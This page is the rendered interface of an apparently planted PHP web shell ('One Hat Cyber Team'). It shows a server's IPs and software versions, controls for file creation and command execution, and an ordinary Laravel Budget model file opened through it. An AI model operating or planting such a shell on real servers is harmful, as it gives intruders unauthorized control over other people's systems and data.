⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
html
/
app
/
Models
/
View File Name :
Budget.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Budget extends Model { protected $fillable = [ 'name','start_date','end_date','period','created_by' ]; public static $period = [ 'monthly' => 'Monthly', 'quarterly' => 'Quarterly', 'half-yearly' =>'Half Yearly', 'yearly' => 'Yearly', ]; public function getAvailabilityDate() { $start_date = ''; $end_date = ''; $date = ''; $date_formate =('M-Y'); if(!empty($this->start_date)) { $start_date = date ($date_formate , strtotime($this->start_date) ); $date = $start_date; } if(!empty($this->end_date)) { $end_date = date ($date_formate , strtotime($this->end_date) ); $date .= ' - ' .$end_date.' '; } return $date; } public static function percentage($actual,$budget) { $percentage = $budget*100/$actual; return number_format($percentage,2); } }